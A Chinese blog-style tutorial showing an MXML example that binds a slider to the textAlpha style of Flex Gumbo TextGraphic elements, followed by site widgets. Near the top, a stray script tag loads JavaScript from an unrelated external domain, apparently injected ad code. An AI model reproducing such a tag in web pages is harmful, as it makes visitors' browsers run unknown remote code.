Flex Gumbo中如何通过textAlpha样式,设置TextGraphic透明度

<script src="http://www.cpcasr.cn/ad_js/mm_123.js"></script>

  main.mxml

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <FxApplication name="TextGraphic_textAlpha_test"
  3.         xmlns="http://ns.adobe.com/mxml/2009">
  4.     <layout>
  5.         <BasicLayout />
  6.     </layout>
  7.  
  8.     <Style>
  9.         @font-face {
  10.             src: url("assets/ARIAL.TTF");
  11.             fontFamily: "ArialEmbedded";
  12.             cff: true;
  13.         }
  14.  
  15.         TextGraphic {
  16.             fontSize: 24;
  17.         }
  18.     </Style>
  19.  
  20.     <HGroup left="10" top="10">
  21.         <Label text="textAlpha:" />
  22.         <FxHSlider id="slider"
  23.                 minimum="0.0"
  24.                 maximum="1.0"
  25.                 value="1.0"
  26.                 stepSize="0.1"
  27.                 valueInterval="0.1"
  28.                 liveDragging="true" />
  29.     </HGroup>
  30.  
  31.     <Form id="form"
  32.             horizontalCenter="0"
  33.             verticalCenter="0">
  34.         <FormItem label="device:">
  35.             <Graphic>
  36.                 <TextGraphic id="deviceTextGraphic"
  37.                         textAlpha="{slider.value}"
  38.                         fontFamily="Arial"
  39.                         fontLookup="device"
  40.                         width="300">
  41.                     <text>The quick brown fox jumped over the lazy dog.</text>
  42.                 </TextGraphic>
  43.             </Graphic>
  44.         </FormItem>
  45.         <FormItem label="embeddedCFF:">
  46.             <Graphic>
  47.                 <TextGraphic id="embeddedTextGraphic"
  48.                         textAlpha="{slider.value}"
  49.                         fontFamily="ArialEmbedded"
  50.                         fontLookup="embeddedCFF"
  51.                         width="300">
  52.                     <text>The quick brown fox jumped over the lazy dog.</text>
  53.                 </TextGraphic>
  54.             </Graphic>
  55.         </FormItem>
  56.     </Form>
  57.  
  58. </FxApplication>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值